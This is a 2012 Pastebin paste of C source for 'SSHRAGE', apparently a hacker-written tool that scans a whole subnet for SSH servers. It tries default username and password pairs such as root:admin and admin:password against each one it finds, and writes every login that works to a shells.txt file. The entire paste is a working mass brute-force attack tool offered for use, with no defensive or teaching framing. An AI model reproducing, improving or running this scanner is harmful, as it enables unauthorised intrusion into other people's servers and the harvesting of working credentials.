Advertisement
Guest User

SShRagE bY PwNz-iNk A.K.A PwNztAr

a guest
Sep 23rd, 2012
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.84 KB | None | 0 0
  1. Code:
  2. /*
  3.  *   Prwning ssh range scanner for weak passwd :P You need libssh
  4.  */
  5.  
  6. #include <stdio.h>
  7. #include <unistd.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <termios.h>
  11. #include <sys/select.h>
  12. #include <sys/time.h>
  13. #include <signal.h>
  14. #include <errno.h>
  15. #include <libssh/libssh.h>
  16. #include <libssh/sftp.h>
  17. #include <arpa/inet.h>
  18. #include <stdio.h>
  19. #include <netdb.h>
  20. #include <string.h>
  21. #include <fcntl.h>
  22. #include <unistd.h>
  23. #include <time.h>
  24. #include <stdlib.h>
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <sys/wait.h>
  28. #include <netinet/in.h>
  29.  
  30.  
  31. #define TIME     5
  32.  
  33. FILE *fp;
  34. FILE *pf;
  35. int flag;
  36. int sockett, a, b, c, d;
  37. struct hostent *he;
  38. int MAXCHILDS;
  39. int porta = 22;
  40. int childs = 0;
  41. char host[BUFSIZ];
  42. char banner[1024];
  43.  
  44. int sock3(int porta, char host[BUFSIZ])
  45. {
  46.   int lola;
  47.   char log[512];
  48.   char buf[1024];
  49.   struct sockaddr_in sin;
  50.  
  51.   void timeout() {
  52.     close (sockett);
  53.   }
  54.  
  55.   signal (SIGALRM, (void *) timeout);
  56.   alarm (TIME);
  57.   he = gethostbyname (host);
  58.   lola = inet_addr (host);
  59.  
  60.   sockett = socket (AF_INET, SOCK_STREAM, 0);
  61.   sin.sin_family = AF_INET;
  62.   sin.sin_port = htons (porta);
  63.   bcopy (he->h_addr, (char *) &sin.sin_addr, he->h_length);
  64.  
  65.    if (connect (sockett, (struct sockaddr *) &sin, sizeof (sin)) == 0) {
  66.       read(sockett, buf, sizeof(buf));
  67.       if (strstr(buf, banner)) {
  68.          printf("[+] Found ip %s running %s", host, buf);
  69.          sshforce(host);
  70.       }
  71.       close (sockett);
  72.       return;
  73.    }
  74. }
  75.  
  76.  
  77. int child()
  78. {
  79.  
  80.   if (childs >= MAXCHILDS)
  81.     {
  82.       (void) wait (NULL);
  83.       --childs;
  84.     }
  85.  
  86.   switch (fork ())
  87.     {
  88.     case 0:
  89.       sock3 (porta, host);
  90.       exit (0);
  91.       break;
  92.     case -1:
  93.       printf ("[-] Error creating child processes\n");
  94.       exit (-1);
  95.       break;
  96.     default:
  97.       childs++;
  98.       break;
  99.     }
  100.    
  101. }
  102.  
  103. void checkauth(char *user,char *password,char *host) {
  104.    char warn[125]="";
  105.    SSH_SESSION *session;
  106.    SSH_OPTIONS *options;
  107.    int argc=1;
  108.    char *argv[]={"none"};
  109.  
  110.    alarm(10);
  111.    options=ssh_getopt(&argc,argv);
  112.    options_set_username(options,user);
  113.    options_set_host(options,host);
  114.    session=ssh_connect(options);
  115.    if(!session) return ;
  116.  
  117.    if(ssh_userauth_password(session,NULL,password) != SSH_AUTH_SUCCESS) {
  118.       ssh_disconnect(session);
  119.       return;
  120.    }
  121.  
  122.    printf("[+] Found shell at ip %s with username %s and password %s\n",host , user,password);
  123.    FILE *vuln = fopen ("shells.txt", "a+");
  124.    fprintf (vuln, "%s:%s@%s\n", user, password, host );
  125.    fclose (vuln);
  126.    return;
  127.  
  128. }
  129.  
  130. int sshforce(char *iptoforce) {
  131.    printf("[+] Now checking ip %s\n", iptoforce);
  132.    char buff[1024];
  133.    int numforks;
  134.    int maxf=10;
  135.  
  136.    if (!(fork())) {
  137.     //child
  138.       checkauth("root","admin",iptoforce);
  139.       checkauth("root","password",iptoforce);    
  140.       checkauth("root","login",iptoforce);
  141.       checkauth("guest","guest",iptoforce);
  142.       checkauth("admin","admin",iptoforce);
  143.       checkauth("admin","password",iptoforce);
  144.       printf("[+] Done checking %s for weak passwords\n", iptoforce);
  145.       exit(0);
  146.    }
  147.    else {
  148.     //parent
  149.       numforks++;
  150.       if (numforks > maxf)
  151.          for (numforks; numforks > maxf; numforks--)
  152.             wait(NULL);
  153.    }
  154.  
  155. }
  156.  
  157.  
  158. int main (int argc, char *argv[]) {
  159.  
  160.    if(argc != 3) {
  161.       printf("..:: SSHRAGE by PwNz-iNk A.K.A PwNztAr ::..\n");
  162.       printf("Usage %s <subnet> <threads>\n", argv[0]);
  163.       printf("Example %s 192.168 50\n", argv[0]);
  164.       return 0;
  165.    }
  166.  
  167.    strcpy(banner, "SSH");
  168.    MAXCHILDS= atoi(argv[2]);
  169.    char *subnet = argv[1];
  170.    int i = 0;
  171.    int j;
  172.    printf("[+] Start scanning...\n");
  173.    while(i<255) {
  174.       for(j=1;j<255;j++) {
  175.          sprintf(host,"%s.%d.%d",subnet,i,j);
  176.          child();
  177.       }
  178.    i++;
  179.    }
  180.    printf("[+] Done\n");
  181. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement